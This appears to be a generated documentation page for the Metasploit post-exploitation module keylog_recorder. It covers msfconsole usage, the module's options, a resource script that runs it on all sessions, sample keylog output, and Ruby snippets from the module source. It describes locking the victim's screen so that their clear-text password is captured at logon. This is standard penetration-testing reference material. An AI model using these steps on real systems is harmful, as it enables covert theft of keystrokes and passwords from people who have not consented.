Windows Capture Keystroke Recorder - Metasploit
This page contains detailed information about how to use the post/windows/capture/keylog_recorder metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Capture Keystroke Recorder
Module: post/windows/capture/keylog_recorder
Source code: modules/post/windows/capture/keylog_recorder.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module can be used to capture keystrokes. To capture keystrokes when the session is running as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/capture/keylog_recorder
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/capture/keylog_recorder
msf post(keylog_recorder) > show options
... show and set options ...
msf post(keylog_recorder) > set SESSION session-id
msf post(keylog_recorder) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/capture/keylog_recorder")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Overview
This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks.
Requirements
- Windows Meterpreter Session
Options
CAPTURE_TYPE - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer.
INTERVAL - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds.
LOCKSCREEN - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE.
MIGRATE - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE.
PID - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine.
SESSION - The session to run the module on.
Advanced Options
- ShowKeystrokes - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE.
- TimeOutAction - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait.
Usage
The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module.
Capture Types
Explorer.exe - Session must be in explorer.exe - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe. It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained.
Winlogon.exe - Session must be in winlogon.exe - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured.
PID - Session must be in the specific process to be recorded. - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded.
Running Module as a Job
It is recommended to run this module as a job using: exploit -j
or run -j
. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using jobs -k
. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically.
TimeOutAction
This module has two actions it can take if module requests time out. This occurs with packet-based payloads like reverse_http
or reverse_https
when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off.
WAIT - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically.
EXIT - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp.
Running Module Stand Alone
When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use CTRL-C
to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete.
Scenarios
Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500
This is an ex
ample output from keylog_recorder.
On this line I make a typpor
o.
Username Password
Copy c v
Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500
Keylog Recorder resumed at 2016-07-13 21:11:36 -0500
T
his is keys logged after the computer
was put to sleep and then woken back up.
Keylog Recorder exited at 2016-07-13 21:12:44 -0500
Go back to menu.
Msfconsole Usage
Here is how the windows/capture/keylog_recorder post exploitation module looks in the msfconsole:
msf6 > use post/windows/capture/keylog_recorder
msf6 post(windows/capture/keylog_recorder) > show info
Name: Windows Capture Keystroke Recorder
Module: post/windows/capture/keylog_recorder
Platform: Windows
Arch:
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
Josh Hale <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CAPTURE_TYPE explorer no Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
INTERVAL 5 no Time interval to save keystrokes in seconds
LOCKSCREEN false no Lock system screen.
MIGRATE false no Perform Migration.
PID no Process ID to migrate to
SESSION yes The session to run this module on.
Description:
This module can be used to capture keystrokes. To capture keystrokes
when the session is running as SYSTEM, the MIGRATE option must be
enabled and the CAPTURE_TYPE option should be set to one of
Explorer, Winlogon, or a specific PID. To capture the keystrokes of
the interactive user, the Explorer option should be used with
MIGRATE enabled. Keep in mind that this will demote this session to
the user's privileges, so it makes sense to create a separate
session for this task. The Winlogon option will capture the username
and password entered into the logon and unlock dialog. The
LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to
for the user to enter their clear-text password. It is recommended
to run this module as a job, otherwise it will tie up your framework
user interface.
Module Options
This is a complete list of options available in the windows/capture/keylog_recorder post exploitation module:
msf6 post(windows/capture/keylog_recorder) > show options
Module options (post/windows/capture/keylog_recorder):
Name Current Setting Required Description
---- --------------- -------- -----------
CAPTURE_TYPE explorer no Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
INTERVAL 5 no Time interval to save keystrokes in seconds
LOCKSCREEN false no Lock system screen.
MIGRATE false no Perform Migration.
PID no Process ID to migrate to
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/capture/keylog_recorder post exploitation module:
msf6 post(windows/capture/keylog_recorder) > show advanced
Module advanced options (post/windows/capture/keylog_recorder):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowKeystrokes false no Show captured keystrokes
TimeOutAction wait yes Action to take when session response timeout occurs. (Accepted: wait, exit)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/capture/keylog_recorder module can do:
msf6 post(windows/capture/keylog_recorder) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/capture/keylog_recorder post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/capture/keylog_recorder) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- INTERVAL value out of bounds. Setting to 5.
- GetLastError
- Screen lock failed
- UAC is enabled on this host! Winlogon migration will be blocked. Exiting...
- Could not migrate to <PROC_NAME>. Exiting...
- Could not migrate to <PROC_NAME>. Exiting...
- Could not migrate to PID <TARGET_PID>. Exiting...
- Could not migrate to PID <TARGET_PID>. Does not exist! Exiting...
- Could not migrate to PID <TARGET_PID>. Exiting...
- Failed to start the keylog recorder
- Rex::TimeoutError
- Session: <SESSION> is not responding. Waiting...
- Session: <SESSION> is not responding. Exiting keylog recorder.
- Keylog recorder on session: <SESSION> encountered error: <E.CLASS> (<E>) Exiting...
- Keylog recorder encountered error: <E.CLASS.TO_S> (<E.TO_S>) Exiting...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
INTERVAL value out of bounds. Setting to 5.
Here is a relevant code snippet related to the "INTERVAL value out of bounds. Setting to 5." error message:
83: @timed_out_age = nil # Session age when it timed out
84: @interval = datastore['INTERVAL'].to_i
85: @wait = datastore['TimeOutAction'] == "wait" ? true : false
86:
87: if @interval < 1
88: print_error("INTERVAL value out of bounds. Setting to 5.")
89: @interval = 5
90: end
91: end
92:
93: # This function sets the log file and loot entry.
GetLastError
Here is a relevant code snippet related to the "GetLastError" error message:
108: #
109: # @return [void] A useful return value is not expected here
110: def lock_screen
111: print_status("Locking the desktop...")
112: lock_info = session.railgun.user32.LockWorkStation()
113: if lock_info["GetLastError"] == 0
114: print_status("Screen has been locked")
115: else
116: print_error("Screen lock failed")
117: end
118: end
Screen lock failed
Here is a relevant code snippet related to the "Screen lock failed" error message:
111: print_status("Locking the desktop...")
112: lock_info = session.railgun.user32.LockWorkStation()
113: if lock_info["GetLastError"] == 0
114: print_status("Screen has been locked")
115: else
116: print_error("Screen lock failed")
117: end
118: end
119:
120: # This function returns the process name that the session is running in.
121: #
UAC is enabled on this host! Winlogon migration will be blocked. Exiting...
Here is a relevant code snippet related to the "UAC is enabled on this host! Winlogon migration will be blocked. Exiting..." error message:
140: def process_migrate
141: captype = datastore['CAPTURE_TYPE']
142:
143: if captype == "winlogon"
144: if is_uac_enabled? and not is_admin?
145: print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...")
146: return false
147: else
148: return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
149: end
150: end
Could not migrate to <PROC_NAME>. Exiting...
Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>. Exiting..." error message:
172: #
173: # @return [TrueClass] if it successfully migrated
174: # @return [FalseClass] if it failed to migrate
175: def migrate(target_pid, proc_name, current_pid)
176: if !target_pid
177: print_error("Could not migrate to #{proc_name}. Exiting...")
178: return false
179: end
180:
181: print_status("Trying #{proc_name} (#{target_pid})")
182:
Could not migrate to <PROC_NAME>. Exiting...
Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>. Exiting..." error message:
188: begin
189: client.core.migrate(target_pid)
190: print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
191: return true
192: rescue Rex::Post::Meterpreter::RequestError => error
193: print_error("Could not migrate to #{proc_name}. Exiting...")
194: print_error(error.to_s)
195: return false
196: end
197: end
198:
Could not migrate to PID <TARGET_PID>. Exiting...
Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Exiting..." error message:
200: #
201: # @return [TrueClass] if it successfully migrated
202: # @return [FalseClass] if it failed to migrate
203: def migrate_pid(target_pid, current_pid)
204: if !target_pid
205: print_error("Could not migrate to PID #{target_pid}. Exiting...")
206: return false
207: end
208:
209: if !has_pid?(target_pid)
210: print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
Could not migrate to PID <TARGET_PID>. Does not exist! Exiting...
Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Does not exist! Exiting..." error message:
205: print_error("Could not migrate to PID #{target_pid}. Exiting...")
206: return false
207: end
208:
209: if !has_pid?(target_pid)
210: print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
211: return false
212: end
213:
214: print_status("Trying PID: #{target_pid}")
215:
Could not migrate to PID <TARGET_PID>. Exiting...
Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Exiting..." error message:
221: begin
222: client.core.migrate(target_pid)
223: print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
224: return true
225: rescue Rex::Post::Meterpreter::RequestError => error
226: print_error("Could not migrate to PID #{target_pid}. Exiting...")
227: print_error(error.to_s)
228: return false
229: end
230: end
231:
Failed to start the keylog recorder
Here is a relevant code snippet related to the "Failed to start the keylog recorder" error message:
238: begin
239: print_status("Starting the keylog recorder...")
240: session.ui.keyscan_start
241: return true
242: rescue
243: print_error("Failed to start the keylog recorder: #{$!}")
244: return false
245: end
246: end
247:
248: # This function dumps the keyscan and uses the API function to parse
Rex::TimeoutError
Here is a relevant code snippet related to the "Rex::TimeoutError" error message:
277: vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
278: rec = 0
279: end
280: end
281: rescue ::Exception => e
282: if e.class.to_s == "Rex::TimeoutError"
283: @timed_out_age = get_session_age
284: @timed_out = true
285:
286: if @wait
287: time_stamp("timed out - now waiting")
Session: <SESSION> is not responding. Waiting...
Here is a relevant code snippet related to the "Session: <SESSION> is not responding. Waiting..." error message:
283: @timed_out_age = get_session_age
284: @timed_out = true
285:
286: if @wait
287: time_stamp("timed out - now waiting")
288: vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
289: else
290: time_stamp("timed out - exiting")
291: print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
292: rec = 0
293: end
Session: <SESSION> is not responding. Exiting keylog recorder.
Here is a relevant code snippet related to the "Session: <SESSION> is not responding. Exiting keylog recorder." error message:
286: if @wait
287: time_stamp("timed out - now waiting")
288: vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
289: else
290: time_stamp("timed out - exiting")
291: print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
292: rec = 0
293: end
294: elsif e.class.to_s == "Interrupt"
295: print_status("User interrupt.")
296: rec = 0
Keylog recorder on session: <SESSION> encountered error: <E.CLASS> (<E>) Exiting...
Here is a relevant code snippet related to the "Keylog recorder on session: <SESSION> encountered error: <E.CLASS> (<E>) Exiting..." error message:
293: end
294: elsif e.class.to_s == "Interrupt"
295: print_status("User interrupt.")
296: rec = 0
297: else
298: print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
299: @timed_out = true
300: rec = 0
301: end
302: end
303: end
Keylog recorder encountered error: <E.CLASS.TO_S> (<E.TO_S>) Exiting...
Here is a relevant code snippet related to the "Keylog recorder encountered error: <E.CLASS.TO_S> (<E.TO_S>) Exiting..." error message:
342:
343: begin
344: sleep(@interval)
345: write_keylog_data
346: rescue ::Exception => e
347: print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" # Don't care about timeout, just exit
348: session.response_timeout = last_known_timeout
349: return
350: end
351: session.ui.keyscan_stop rescue nil
352: session.response_timeout = last_known_timeout
Go back to menu.
Related Pull Requests
- #15246 Merged Pull Request: Refactor as Msf::Post::Process
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8237 Merged Pull Request: Update modules calling Meterpreter keyscan API
- #7862 Merged Pull Request: Ruby 2.4 local fixes for metasploit-framework
- #7106 Merged Pull Request: Keylog recorder update
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2049 Merged Pull Request: [SeeRM:#8123] - Pid check
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #958 Merged Pull Request: Msftidy 2
Go back to menu.
See Also
Check also the following modules related to this module:
Authors
- Carlos Perez <carlos_perez[at]darkoperator.com>
- Josh Hale <jhale85446[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.